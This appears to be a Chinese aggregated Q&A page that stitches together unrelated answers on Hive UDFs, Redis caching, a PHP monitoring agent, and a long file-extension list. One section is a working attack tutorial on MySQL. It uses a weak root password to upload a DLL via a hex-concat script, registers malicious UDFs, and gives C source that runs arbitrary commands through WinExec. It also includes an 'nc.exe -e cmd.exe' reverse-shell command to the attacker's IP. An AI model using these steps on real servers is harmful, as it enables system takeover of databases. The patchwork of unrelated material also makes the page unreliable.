本文目录一览:
- 1、hive 调用python 写的udf 报错
- 2、redis怎么实现数据库的缓存
- 3、如何使用工具进行线上 PHP 性能追踪及分析
- 4、请帮忙看看这几条UDF命令是什么意思
- 5、(五)Hive的UDF、UDAF和UDTF自定义函数
- 6、常用文件扩展名的说明
hive 调用python 写的udf 报错
你把print写在try里面当然会少数据。你应该try访问fields数组并更新fields[2]的值。另一方面,从功能点上来说,使用SQL函数nvl或coalesce就能实现,没必要写个UDF来实现,你这样做增加额外的IO消耗和工作量。如果一定要写UDF,建议少用print,改用标准输出实现:sys.stdout.write()。
redis怎么实现数据库的缓存
对于变化频率非常快的数据来说,如果还选择传统的静态缓存方式(Memocached、File System等)展示数据,可能在缓存的存取上会有很大的开销,并不能很好的满足需要,而Redis这样基于内存的NoSQL数据库,就非常适合担任实时数据的容器。
但是往往又有数据可靠性的需求,采用MySQL作为数据存储,不会因为内存问题而引起数据丢失,同时也可以利用关系数据库的特性实现很多功能。
所以就会很自然的想到是否可以采用MySQL作为数据存储引擎,Redis则作为Cache。而这种需求目前还没有看到有特别成熟的解决方案或工具,因此采用Gearman+PHP+MySQL UDF的组合异步实现MySQL到Redis的数据复制。
MySQL到Redis数据复制方案
无论MySQL还是Redis,自身都带有数据同步的机制,比较常用的MySQL的Master/Slave模式,就是由Slave端分析Master的binlog来实现的,这样的数据复制其实还是一个异步过程,只不过当服务器都在同一内网时,异步的延迟几乎可以忽略。
那么理论上也可以用同样方式,分析MySQL的binlog文件并将数据插入Redis。但是这需要对binlog文件以及MySQL有非常深入的理解,同时由于binlog存在Statement/Row/Mixedlevel多种形式,分析binlog实现同步的工作量是非常大的。
因此这里选择了一种开发成本更加低廉的方式,借用已经比较成熟的MySQL UDF,将MySQL数据首先放入Gearman中,然后通过一个自己编写的PHP Gearman Worker,将数据同步到Redis。比分析binlog的方式增加了不少流程,但是实现成本更低,更容易操作。
如何使用工具进行线上 PHP 性能追踪及分析
New Relic 和 OneAPM 是两款类似的性能分析工具,通过简单的安装之后,就有现成的图表和分析数据可用。前一段时间尝试过线上使用 New Relic ,估计是因为墙的原因,造成了 php-fpm 进程阻塞,具体表现为 netstat 中php-fpm 开启的端口始终不回收,墙内环境使用墙外服务器很难保证服务的稳定性,所以你可以试一下这款 OneAPM PHP性能分析产品。
PHP Agent 的安装与简易用法
注册账户后, OneAPM 会提供一个 License Key,下载 PHP Agent 之后,执行安装脚本:
1. 解压 Agent 安装包
tar -xzf OneAPM_php_Agent_latest.tar.gz
2.定位至「安装包所在路径」
cd oneapm-php5-linux-install-script
3. 执行安装脚本
sudo ./oneapm-install install --license=BQ4NSVlMX399eAhNWUdfVE790d1
如果提示未找到 PHP 路径或安装失败,执行下面这条一键安装命令:
sudo ./oneapm-install install --php-path=/usr/local/php5/bin --php-ini-file=/usr/local/php5/etc/php.ini --license=BQ4NSVlMX399eAhNWUdfVE790d1
根据服务器 PHP 环境修改上面命令中 PHP 路径、php.ini 路径和授权码,修改后执行这一键安装命令。
等待安装脚本执行。若出现以下信息,则安装成功。
OneAPM is now installed on your system. Congratulations! Restart your web server or servers.
Any question join qq group:321095806 or contact
安装完成之后,重启 Apache 或 php-fpm。然后,稍等片刻,等待 OneAPM 接收 Agent 发送的数据。
请帮忙看看这几条UDF命令是什么意思
很早网上就有了用mysql弱口令得到webshell教程,但是这次我要说的不是得到webshell,而是直接得到系统权限,看清楚了,是“直接”得到!
首先,我简单说一下mysql弱口令得到系统权限得过程:首先利用mysql脚本上传udf dll文件,然后利用注册UDF
DLL中自写的Function函数,而执行任意命令。
思路很简单,网上也有一些教程,但是他们要么没有给具体的代码,要么一句话代过,搞得象我似得小菜很难理解,终于在我付出了几天得不断测试得辛勤劳动后,有了点结果,我把详细过程和相关代码得交给大家,这样大家就可以自己写dll文件,自己生成不同文件得二进制码啦!
下面,我们先说如何生成二进制文件得上传脚本。看看这段mysql脚本代码(网友Mix用的方法):
set @a =
concat('',0x0123abc1312389…..);
set @a = concat(@a,0x4658978abc545e……);
………………….
create table Mix(data LONGBLOB);//建表Mix,字段为data,类型为longblob
insert into Mix values("");update Mix set data = @a;//@a插入表Mix
select
data from Mix into DUMPFILE 'C:\\Winnt\\文件名';//导出表中内容为文件
前两句很熟悉把,这个就是我们以前注入的时候,绕过’的解决办法,把代码的16进制数声明给一个变量,然后导入这个变量就行了。只不过这里,因为16进制代码是一个文件的内容,代码太长了,所以就用了concat函数不断把上次得代码类加起来,这样不断累计到一个变量a中。后面几句就很简单了,我都有注释。
后面三句好说,但是前面的那么多16进制数据,手工的话,累人啊!不过你还记得以前有一个exe2bat.vbs脚本吗?这次我们可以把这个脚本修改一下后,得到我们这里需要得mysql脚本!对比exe2bat.vbs生成得文件和我们需要脚本的文件格式,我们可以轻松的得到我们所需的脚本。脚本内容如下:
fp=wscript.arguments(0
fn=right(fp,len(fp)-instrrev(fp,"\"))
with
createobject("adodb.stream")
.type=1:.open:.loadfromfile
fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with
createobject("scripting.filesystemobject").opentextfile(fp".txt",2,true)
.write "set @a = concat('',0x"
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt16 then .write "0"
.write hex(bt)
if i mod 128=0 then
.write ");" vbcrlf "set @a = concat(@a,0x"
next
end with
好了,现在只要你把所要上传的文件拖到这个脚本图标上面,就可以生成一个同名的txt文件了。这个txt文件,就是我们所需要的mysql脚本,当然我们还需要修改一下这个txt文件(毕竟他是我们偷工减料得来的!),把最后一行生成的多余的那句“set
@a = concat('',0x”删除了,加上建表,插值得那三句代码即可!
脚本生成了,如何上传?先登陆mysql服务器:
C:\mysql –u root –h hostip –p
Mysqluse mysql;
//先进入mysql默认得数据库,否则你下一步的表将不知道属于哪个库
Mysql\. E:\*.dll.txt;
//这儿就是你生成的mysql脚本
按照上面输入命令,就可以看见屏幕文字飞快闪烁(当然网速要快啦),不一会你的文件旧上传完毕了!
下面到达我们的重点,我们上传什么dll文件?就目前我再网上看到的有两个已经写好的dll文件,一个是Mix写得mix.dll,一个是envymask写得my_udf.dll,这两个我都用过,都很不错,但是都也有点不足。先来看看具体的使用过程吧!
先用mix.dll:
登陆mysql,输入命令:
Mysql \. e:\mix.dll.txt;
Mysql
CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\windows\\mix.dll';
//这儿的注册的Mixconnect就是在我们dll文件中实现的函数,我们将要用他执行系统命令!
Mysql select
Mixconnect('你的ip','8080'); //填写你的反弹ip和端口
过一会儿,你监听8080端口的nc,就会得到一个系统权限的shell了!如图1:
这个的确不错,通过反弹得到得shell可以传过一些防火墙,可惜的是,它的这个函数没有写得很好,只能执行一次,当你第二次连接数据库后,再次运行“select
Mixconnect('你的ip','8080');”的时候,对方的mysql会当掉!报错,然后服务停止!
所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。
再用my_udf.dll:
Mysql\. C:\my_udf.dll.txt
Mysql CREATE FUNCTION my_udfdoor
RETURNS STRING SONAME 'C:\\winnt\\my_udf.dll';
//同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数
Mysql select my_udfdoor('’);
//这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数
好了,现在你可以不用关这个shell了,我们再开一个cmd,使用:
D:\nc hostip 3306
*
4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k”
,他是my_udfdoor默认密码,自己无法更改
过一会儿,你就有了系统权限的shell了,
由于他是hook
recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select
my_udfdoor('’);”后),不管你是否连接,只要执行了:
Mysqldrop function my_udfdoor;
后,mysql也汇报错,然后挂掉,
所以,你使用这个dll文件无法删除你的痕迹!
最后,然我们自己写一个自定义的dll文件。看能不能解决问题。
我们仅仅使用mysql 得udf的示例作模版即可!看他的示例:
#include
#include
#include
extern "C" {
char *my_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null,
char *error);
// 兼容C
}
char
*my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null,
char *error)
{
char * me = "my name";
return me;
// 调用此UDF将返回 my name
}
十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了:
下面是我的一个哥们Crackme是修改的:
#include
#include
#include "mysql.h"
extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS
*args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改
__declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char
*is_null, char *error) //当然这儿的sys_name也得改!
{
char me[256] = {0};
if
(args-arg_count == 1){
strncpy(me,args-args[0],args-lengths[0]);
me[args-lengths[0]]='\0';
WinExec(me,SW_HIDE); //就是用它来执行任意命令
}else
strcpy(me,"do nonthing.\n");
return me;
}
好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把!
看操作:
Mysql\.
C:\sysudf.dll.txt
MysqlCreate function sys_name returns string soname
'C:\\windows\\sysudf.dll';
Mysql\. Nc.exe.txt //把nc.exe也上传上去
Mysqlselect sys_name('nc.exe -e cmd.exe 我的ip 8080');
//sys_name参数只有一个,参数指定要执行的系统命令
好,看看在Win2003中的一个反弹shell了,
当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop
function
sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。
上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。
好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?
(五)Hive的UDF、UDAF和UDTF自定义函数
order by(全局排序):不经常用
sort by+distrbutre by :经常用
set mapreduce.job.reduce=3;
select * from emp sort by empno desc;
select sal,deptno from emp distribute by sal sort by sal;
cluster by:只能是升序排序,相当于(sort by+distrbutre by )
select sal,deptno from emp cluster bY sal;
select concat_ws('_','sdfsdf','sdfs','123');
select cast('000000000000123123123123' as bigint);
select parse_url(' ;k2=v2#Ref1','HOST' );
select get_json_object('{"name":"jack","age":"20"}','$.name');
实现wordcount
create table t_movie(
name string,
type string
)
row format delimited fields terminated by ' '
lines terminated by '\n'
location '/data/inner/ODS/01/t_movie';
load data inpath '/data/inner/RAW/01/t_movie/movie' into table t_movie;
select * from t_movie;
select name,split(type,',') from t_movie;
select explode(split(type,',')) from t_movie;
select name,tcol from t_movie LATERAL VIEW explode(split(type,',')) typetable AS tcol;
create table t_wordcount(
wordline string
)
row format delimited fields terminated by '\n'
location '/data/inner/ODS/01/t_wordcount';
load data inpath '/data/inner/RAW/01/t_wordcount/harry' into table t_wordcount;
select word,count(word) from t_wordcount lateral view explode(split(wordline,' ')) eswtable as word group by word;
select word,count(word) from (select explode(split(wordline,' ')) word from t_wordcount) esw group by word;
1,继承类
2,重写方法(实现逻辑)
3,打包
4,上传,创建函数
dependencies
dependency
groupIdorg.apache.hadoop/groupId
artifactIdhadoop-client/artifactId
version2.6.5/version
/dependency
dependency
groupIdorg.apache.hadoop/groupId
artifactIdhadoop-hdfs/artifactId
version2.6.5/version
/dependency
dependency
groupIdorg.apache.hive/groupId
artifactIdhive-exec/artifactId
version1.2.1/version
/dependency
/dependencies
UDF:
public class UDFHello extends UDF {
public static String evaluate(String value) {
..................
}
}
hadoop fs -mkdir -p /bdp/hive/bin/lib
hadoop fs -put ./demouf.jar /bdp/hive/bin/lib
create function sxt_hello as 'com.vincent.UDFHello' using jar 'hdfs:////bdp/hive/bin/lib/demouf.jar';
UDAF:
public static class SxtInnerClass implements UDAFEvaluator {
@Override
//获取Hive的集群信息
public void init() {}
//输入数据端,进行map操作
public boolean iterate(String value) {}
//数据输出端,进行reduce输出
public int terminatePartial() {}
public String terminate() {}
}
}
UDTF:
public class ExplodeMap extends GenericUDTF {
@Override
//数据结果:主要用来写逻辑操作
public void process(Object[] args){}
@Override
//数据输入端:主要用来检测数据是否符合标准
public StructObjectInspector initialize(ObjectInspector[] args){}
@Override
//关闭
public void close() {}
}
常用文件扩展名的说明
扩展名 说明
A:对象代码库文件
AAM:Authorware shocked文件
AAS:Authorware shocked包
ABF:Adobe二进制屏幕字体
ABK:CorelDRAW自动备份文件
ABS:该类文件有时用于指示一个摘要(就像在一篇有关科学方面的文章的一个摘要或概要,取自abstract)
ACE:Ace压缩文件格式
ACM:Windows系统目录文件
ACP:Microsoft office助手预览文件
ACT:Microsoft office助手文件
AD:After Dark屏幕保护程序
ADA:Ada源文件(非-GNAT)
ADB:Ada源文件主体(GNAT);HP100LX组织者的约定数据库
ADF:Amiga磁盘文件
ADI:AutoCAD设备无关二进制绘图仪格式
ADM:After Dark多模块屏幕保护;Windows NT策略模板
ADP:FaxWork用于传真调制解调器的交互安装文件;Astound Dynamite文件
ADR:After Dark随机屏幕保护;Smart Address的地址簿
ADS:Ada源文件说明书(GNAT)
AFM:Adobe的字体尺度
AF2/AF3:ABC的FlowChat文件
AI:Adobe Illustrator格式图形
AIF/AIFF:音频互交换文件,Silicon Graphic and Macintosh应用程序的声音格式
AIFC:压缩AIF
AIM:AOL即时信息传送
AIS:ACDSee图形序列文件;Velvet Studio设备文件
AKW:RoboHELP的帮助工程中所有A-关键词
ALB:JASC Image Commander相册
ALL:艺术与书信库
AMS:Velvet Studio音乐模块(MOD)文件;Extreme的Tracker模块文件
ANC:Canon Computer的调色板文件,包含一系列可选的颜色板
ANI:Windows系统中的动画光标
ANS:ANSI文本文件
ANT:SimAnt For Windows中保存的游戏文件
API:Adobe Acrobat使用的应用程序设计接口文件
APS:Microsoft Visual C++文件
ARI:Aristotle声音文件
ARJ:Robert Jung ARJ压缩包文件
ART:Xara Studio绘画文件;Canon Crayola美术文件;Clip Art文件格式;另一种光线跟踪格式;AOL使用的用Johnson-Grace压缩算法压缩的标记文件
ASA:Microsoft Visual InterDev文件
ASC:ASCⅡ文本文件;PGP算法加密文件
ASD:Microsoft Word的自动保存文件;Microsoft高级流媒体格式(microsoft advanced streaming format,ASF)的描述文件;可用NSREX打开 Velvet Studio例子文件
ASE:Velvet Studio采样文件
ASF:Microsoft高级流媒体格式文件
ASM:汇编语言源文件,Pro/E装配文件
ASO:Astound Dynamite对象文件
ASP:动态网页文件;ProComm Plus安装与连接脚本文件;Astound介绍文件
ASV:DataCAD自动保存文件
ASX:Cheyenne备份脚本文件;Microsoft高级流媒体重定向器文件,视频文件
ATW:来自个人软件的Any Time Deluxe For Windows个人信息管理员文件
AU:Sun/NeXT/DEC/UNIX声音文件;音频U-Law(读作“mu-law”)文件格式
AVB:Computer Associates Inoculan反病毒软件的病毒感染后文件
AVI:Microsoft Audio Video Interleave电影格式
AVR:Audio Visual Research文件格式
AVS:应用程序可视化格式
AWD:FaxVien文档
AWR:Telsis数字储存音频文件扩展名格式
Axx:ARJ压缩文件的分包序号文件,用于将一个大文件压至几个小的压缩包中(xx取01-99的数字)
A3M/A4M:Authorware Macintosh未打包文件
A4P:Authorware无运行时间的打包文件
A3W/A4W/A5W:未打包的Authorware Windows文件 扩展名 说明
BAK:备份文件
BAS:BASIC源文件
BAT:批处理文件
BDF:West Point Bridger Designer文件
BGL:Microsoft Flight Simulator(微软飞行模拟器)的视景文件
BI:二进制文件
BIF:Group Wise的初始化文件
BIFF XLIFE 3D格式文件
BIN 二进制文件
BK/BK$ 有时用于代表备份版本
BKS IBM BookManager Read书架文件
BMK 书签文件
BMP Windows或OS/2位图文件
BOOK Adobe FrameMaker Book文件
BRX 用于查看多媒体对象目录的文件
BSP Quake图形文件
BTM Norton 应用程序使用的批处理文件
BUD Quicken的备份磁盘
BUN CakeWalk 声音捆绑文件(一种MIDI程序)
BW SGI黑白图像文件
BWV 商业波形文件 扩展名 说明
C C代码文件
CAB Microsoft压缩文件
CAD Softdek的Drafix CAD文件
CAL CALS压缩位图;日历计划表数据
CAP 压缩音乐文件格式
CAS 逗号分开的ASCⅡ文件
CB Microsoft干净引导文件
CC Visual dBASE用户自定义类文件
CCB Visual Basic动态按钮配置文件
CCH Corel图表文件
CCO CyberChat数据文件
CCT Macromedia Director Shockwave投影
CDA CD音频轨道
CDF Microsoft频道定义格式文件
CDI Philip的高密盘交互格式
CDM Visual dBASE自定义数据模块文件
CDR CorelDRAW绘图文件;原始音频CD数据文件
CDT CorelDRAW模板
CDX CorelDRAW压缩绘图文件;Microsoft Visual FoxPro索引文件
CFG 配置文件
CGI 公共网关接口脚本文件
CGM 计算机图形元文件
CHK 由Windows磁盘碎片整理器或磁盘扫描保存的文件碎片
CHM 编译过的HTML文件
CHR 字符集(字体文件)
CIF Adaptec CD 创建器 CD映像文件
CIL Clip Gallery下载包
CLASS Java类文件
CLL Crick Software Clicker文件
CLP Windows 剪贴板文件
CLS Visual Basic类文件
CMF Corel元文件
CMV Corel Move动画文件
CMX Corel Presentation Exchange图像
CNF Telnet,Windows和其他其内格式会发生改变的应用程序使用的配置文件
CNM Windows应用程序菜单选项和安装文件
CNT Windows(或其他)系统用于帮助索引或其他目的内容文件
COD Microsoft C编译器产生的可显示机器码/汇编代码文件,其中附有源C代码作为注释
COM 命令文件(程序)
CPL 控制面板扩展名,Corel颜色板
CPO Corel打印存储文件
CPP C++代码文件
CPR Corel提供说明书文件
CPT Corel 照片-绘画图像
CPX Corel Presentation Exchange压缩图形文件
CRD Windows Cardfile文件
CRP Corel 提供的运行时介绍文件;Visual dBASE自定义报表文件
CRT 认证文件
CSC Corel脚本文件
CSP PC Emcee On_Screen图像
CST Macromedia Director Cast文件
CSV 逗号分隔的值文件
CTL 通常用于表示一个包含控件信息的文件;FaxWork用它来保持有关每个传真收到或发出的信息
CUR Windows光标文件
CV Corel版本的档案文件;Microsoft CodeView信息屏幕文件
CXX C++源代码文件 扩展名 说明
DAT 数据文件;WrodPerfect合并数据文件;用于一些MPEG格式的文件
DB Borland的Paradox 7表
DBC Microsoft Visual FoxPro数据库容器文件
DBF dBASE文件
DBX DataBearn图像;Microsoft Visual FoxPro表格文件
DCM DCM模块格式文件
DCS 桌面颜色分隔文件
DCT Microsoft Visual FoxPro数据库容器
DCU Delphi编译单元文件
DCX Microsoft Visual FoxPro数据库容器;基于PCX的传真图像;宏
DEM 用于表示数字高度模型的USGS基准的文件
DER 认证文件
DEWF Macintosh Sound Cap/Sound Edit录音设备格式
DIB 设备无关位图
DIC 目录
DIF 可进行数据互换的电子表格
DIG DigiLink格式;Sound DesignerⅠ音频文件
DIR Macromedia Director文件
DIZ 描述文件
DLG C++对话框脚本文件
DLL 动态链接库
DLS 可下载声音文件
DMD Visual dBASE数据模块文件
DMF X-Trakker音乐模块(MOD)文件
DOC Word文档
DOT Microsoft Word文档模板
DRAW Acorn的基于对象的矢量图像文件
DRV 驱动程序
DRW Micrografx Designer/Draw;Pro/E绘画文件
DSF Micrografx Designer VFX文件
DSG DOOM保存的文件
DSM Dynamic Studio音乐模块(MOD)文件
DSP Microsoft Developer Studio工程文件
DSQ Corel QUERY(查询)文件
DSW Microsoft Developer Studio工作区文件
DTD SGML文档类型定义(DTD)文件
DUN Microsoft拔号网络导出文件
DV 数字视频文件(MIME)
DXF 可进行互交换的绘图文件格式,二进制的DWG格式的文本表示;数据交换文件
DXR Macromedia Director受保护(不可编辑)电影文件 扩展名 说明
EDA Ensoniq ASR磁盘映像
EDD 元素定义文档(FrameMaker+SGML文档)
EMD ABT扩展模块
EMF Windows增强元文件
EML Microsoft Outlook Express邮件消息(MIME RTC822)文件
EPHTML Perl解释增强HTML文件
EPS 压缩的PostScript图像
EXE 可执行文件(程序) 扩展名 说明
FAV Microsoft Outlook导航条
FAX 传真类型图像
FCD 虚拟CD-ROM
FDF A dobe Acrobat表单文档文件
FFA/FFL/FFO/FFK Microsoft快速查找文件
FIF Fractal图像文件
FLA Macromedia Flash电影
FLC Autodesk FLIC动画文件
PLI Autodesk FLIC动画
FM Adobe FrameMaker文档
FML 文件镜象列表(GetRight)
FNG 字体组文件(字体导航器,Font Navigator)
FNK Funk Tracker模块格式
FON 系统字体
FOT 字体相关文件
FRT Microsoft FoxPro报表文件
FRX Visual Basic表单文本;Microsoft FoxPro报表文件
FTG 全文本搜索组文件,由Windows帮助系统查找时产生--可以删除,并在需要时重建起来
FTS 全文本搜索引文件,由Windows帮助系统查找时产生 扩展名 说明
GAL Corel多媒体管理器相集
GDB InterBase数据库文件
GDM 铃声、口哨声和声音板模块格式
GEM GEM元文件
GEN Ventura产生的文本文件
GetRight GetRight未完成的下载文件
GFI/GFX Genigraphics图形链接表示文件
GHO Norton 克隆磁盘映像
GIF CompuServe位图文件
GIM/GIX Genigraphics图形链接介绍文件
GKH Ensoniq EPS家簇磁盘映像文件
GKS Gravis Grip Key文档
GL 动画格式
GNA Genigraphics图形链接介绍文件
GNT 生成代码,Micro Focus属性格式里的可执行代码
GNX Genigraphics图形链接介绍文件
GRA Microsoft Graph文件
GRF Grapher(Golden Software公司)图形文件
GRP 程序管理组 扩展名 说明
HCOM 声音工具HCOM格式
HGL HP图形语言绘图文件
HLP 帮助文件;Date CAD Windows帮助文件
HPJ Visual Basic帮助工程
HPP C++程序头文件
HST 历史文件
HT HyperTerminal(超级终端)
HTM/HTML 超文本文档
HTT Microsoft超文本模板
HTX 扩展HTML模板 扩展名 说明
ICB Targa位图文件
ICC Kodak打印机格式文件
ICL 图标库文件
ICM 图形颜色匹配配置文件
ICO Windows图标
IDD MIDI设备定义
IDF MIDI设备定义(Windows 95需要的文件)
IDQ Internet数据查询文件
IDX Microsoft FoxPro相关数据库索引文件;Symantec QA相关数据库索引文件;Microsoft Outlook Express文件
IFF 交换格式文件;Amiga ILBM
IGES 初始图形交换说明文件
IGF 插入系统元文件
ILBM 位图图形文件
IMA WinImage磁盘映像文件
INF 信息文件
INI 初始化文件
INRS INRS远程通信声频
INS InstallShield安装脚本
INT 中间代码,当一个源程序经过语法检查后编译产生一个可执行代码
IQY Microsoft Internet查询文件
ISO 根据ISD 9660有关CD-ROM文件系统标准列出CD-ROM上的文件
IST 数字跟踪设备文件
ISU InstallShield卸装脚本
IWC Install Watch文档 扩展名 说明
J62 Ricoh照相机格式
JAR Java档案文件
JAVA Java源文件
JBF Paint Shop Pro图像浏览文件
JFF/JFIF/JIF JPEG文件
JMP SAS的JMPDiscovery表格统计文件
JPE/JPEG/JPG JPEG图形文件
JS Javascript源文件
JSP HTML网页,其中包含有对一个Java servlet的参考
JTF JPEG位图文件 扩展名 说明
K25 Kurzweil 2500抽样文件
KAR 卡拉OK MIDI文件
KDC Kodak光增强器
KEY DataCAD图标工具条文件
KFX KoFak Group 4图像文件
KIZ Kodak数字明信片文件
KKW RoboHELP帮助工程索引设计器中与主题无关的K开头的所有关键字
KMP Korg Trinity KeyMap文件
KQP Konica照相机本地文件 扩展名 说明
LAB Visual dBASE标签文件
LBM Deluxe Paint位图文件
LBT/LBX Microsoft FoxPro标签文件
LDB Microsoft Access加锁文件
LDL Corel Paradox分发库
LEG Legacy文档
LFT 3D Studio(DOS)放样文件
LGO Paintbrush(Microsoft画图应用程序)的徽标文件
LHA LZH更换文件后缀
LIB 库文件
LIN DataCAD线型文件
LIS 结构化查询报告(SQR)程序产生的输出文件
LLX Laplink交换代理
LNK Windows快捷方式文件
LOG 日志文件
LST 列表文件
LU ThoughtWing库单元文件
LYR DataCAD层文件
LZH LH ARC压缩档案
LZS Skyroads数据文件 扩展名 说明
M1V MPEG相关文件(
M3U MPEG URL(MIME声音文件)
MAD Microsoft Access模块文件
MAF Microsoft Access表单文件
MAM Microsoft Access宏
MAP 映射文件;Duke Nukem 3D WAD游戏文件
MAQ Microsoft Access查询文件
MAR Microsoft Access报表文件
MAT Microsoft Access表;3D Studio MAX材料库
MB1 Apogee Monster Bash数据文件
MBX Microsoft Outlook保存email格式;Eudora邮箱
MCR DataCAD键盘宏文件
MDB Microsoft Access数据库
MDE Microsoft Access MDE文件
MDL 数字跟踪器音乐模块(MOD)文件;Quake模块文件
MDN Microsoft Access空数据库模板
MDW Microsoft Access工作组文件
MDZ Microsoft Access向导模板文件
MIC Microsoft Image Composer文件
MID MIDI音乐
MIM, MIME,MME Internet邮件扩展格式的多用途文件,经常作为发送e-mail时在AOL里附件而创建的文件;在一个多区MIM文件里的文件能用WinZip或其他类似程序打开
MLI 3D Studio的材料库格式文件
MNG 多映像网络图形
MNU Visual dBASE菜单文件;Intertel Systems Interact菜单文件
MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音乐模块文件;Microsoft多计划电子表格;Amiga/PC磁道文件
MOV QuickTime for Windows电影
MP2 第二层MPEG音频文件
MP3 第三层MPEG音频文件
MPA MPEG相关文件,MIME“mpeg类型”
MPE/MPEG/MPG MPEG动画文件
MPP Microsoft工程文件;CAD绘图文件格式
MPR Microsoft FoxPro菜单(已编译)
MSG Microsoft邮件消息
MSI Windows 安装文件包
MSN Microsoft网络文档;Descent Mission文件
MSP Microsoft Paint(画图)位图文件;Windows Installer路径文件
MST Windows 安装器传输文件
MTM Multi 跟踪器音乐模块(MOD)文件 扩展名 说明
NAN Nanoscope文件(Raw Grayscale)
NAP NAP元文件
NCB Microsoft Developer Studio文件
NCD Norton改变目录
NCF NetWare命令文件;Lotus Notes内部剪切板
NFF 中性文件格式
NFT NetObject Fusion模板文件
NIL Norton光标库文件(EasyIcons-兼容)
NIST NIST Sphere声音
NLS 用于本地化的国家语言支持文件(例如,Uniscape)
NLU Norton Live Update e-mail 触发器文件
NTX CA-Clipper索引文件
NWC Noteworthy Composer歌曲文件
NWS Microsoft Outlook Express新闻消息 扩展名 说明
OBJ 对象文件
OCX Microsoft对象链接与嵌入定制控件
ODS Microsoft Outlook Express邮箱文件
OFN Microsoft Office FileNew文件
OFT Microsoft Outlook模板
OLB OLE对象库
OLE OLE对象
OOGL 面向对象图形库
OPO OPL输出可执行文件 扩展名 说明
P65 PageMaker 6.5文件
PAB Microsoft个人地址簿
PART Go!Zilla部分下载文件
PAS Pascal源代码
PBD PowerBuilder动态库,作为本地DLL的一个替代物
PBL 用于在PowerBuilder开发环境中的PowerBuilder动态库
PBM 可导出位图
PBR PowerBuilder资源
PCD Kodak Photo-CD映像;P-Code编译器测试脚本,由Microsoft测试与Microsoft Visual测试
PCL Hewlett-Packard 打印机控制语言文件(打印机备用位图)
PCM 声音文件格式;OKI MSM6376 合成芯片 PCM格式
PDD 可以用Paint Shop Pro或其他图像处理软件打开的图形图像
PDF Adobe Acrobat 可导出文档格式文件(可用Web浏览器显示);Microsoft系统管理服务器包定义文件;NetWare打印机定义文件
PFM 打印机字体尺度
PGL HP绘图仪绘图文件
PGM 可输出灰度图(位图)
PH 由Microsoft帮助文件编译器产生的临时文件
PHP/PHP3 包含有PHP脚本的HTML网页
PHTML 包含有PHP脚本的HTML网页;由Perl分析解释的HTML
PIC PC画图位图;Lotus图片;Macintosh PICT绘图
PJX/PJT Microsoft Visual FoxPro工程文件
PKG Microsoft Developer Studio应用程序扩展(与DLL文件类似)
PNG 可移植的网络图形位图;Paint Shop Pro浏览器目录
POT Microsoft Powerpoint模块
PPA Microsoft Powerpoint内插器
PPF Turtle Beach的Pinnacle程序文件
PPM 可移植的象素映射位图
PPS Microsoft Powerpoint幻灯片放映
PPT Microsoft Powerpoint演示文稿
PRF Windows系统文件,Macromedia导演设置文件
PRG dBASE Clipper和FoxPro程序源文件;WAVmaker程序
PRJ 3D Studio(DOS)工程文件
PRN 打印表格(用空格分隔的文本);DataCAD Windows打印机文件
PRT 打印格式化文件;Pro/ENGINEER元件文件
PSD Adobe photoshop位图文件
PSP Paint Shop Pro图像文件
PST Microsoft Outlook个人文件夹文件
PWZ Microsoft Powerpoint向导 扩展名 说明
QIC Microsoft备份文件
QIF QuickTime相关图像(MIME);Quicken导入文件
QLB Quick库
QRY Microsoft查询文件
QTP QuickTime优先文件
QTX QuickTime相关图像
QW Symantec QA Write程序文件 扩展名 说明
RA RealAudio声音文件
RAM RealAudio元文件
RAR RAR压缩档案(Eugene Roshall格式)
RDF 资源描述框架文件(涉及XML和元数据)
REG 注册表文件
REP Visual dBASE报表文件
RES Microsoft Visual C++资源文件
RFT 可修订的表单文本(IBM的DCA一部分或文档内容框架结构一部分)
RGB/SGI Silicon图形RGB文件
RM RealAudio视频文件
RMD Microsoft RegMaid文档
RPT Microsoft Visual Basic Crystal报表文件
RTF Rich Text格式文档
RUL InstallShield使用的扩展名
RVP Microsoft Scan配置文件(MIME) 扩展名 说明
S 汇编源代码文件
SAV 游戏保存文件
SBL Shockwave Flash对象文件
SCC Microsoft Source Safe文件
SCF Windows Explorer命令文件
SCP 拨号网络脚本文件
SCR Windows屏幕保护;传真图像;脚本文件
SCT SAS目录(DOS);Scitex CT位图;Microsoft FoxPro表单
SCX Microsoft FoxPro表单文件
SDT SmartDraw模板
SDV 分号分隔的值文件
SDX 由SDX压缩的MIDI抽样转储标准文件
SEP 标签图像文件格式(TIFF)位图
SFD SoundStage声音文件数据
SFI Sound Stage声音文件信息
SFR Sonic Foundry Sample资源
SFX RAR自解压文件
SGML 标准通用标签语言
SHG 热点位图
SHTML 含有服务器端包括(SSI)的HTML文件
SHW Corel Show演示文稿
SIG 符号文件
SKA PGP秘钥
SKL Macromedia导演者资源文件
SL PACT的保存布局扩展名
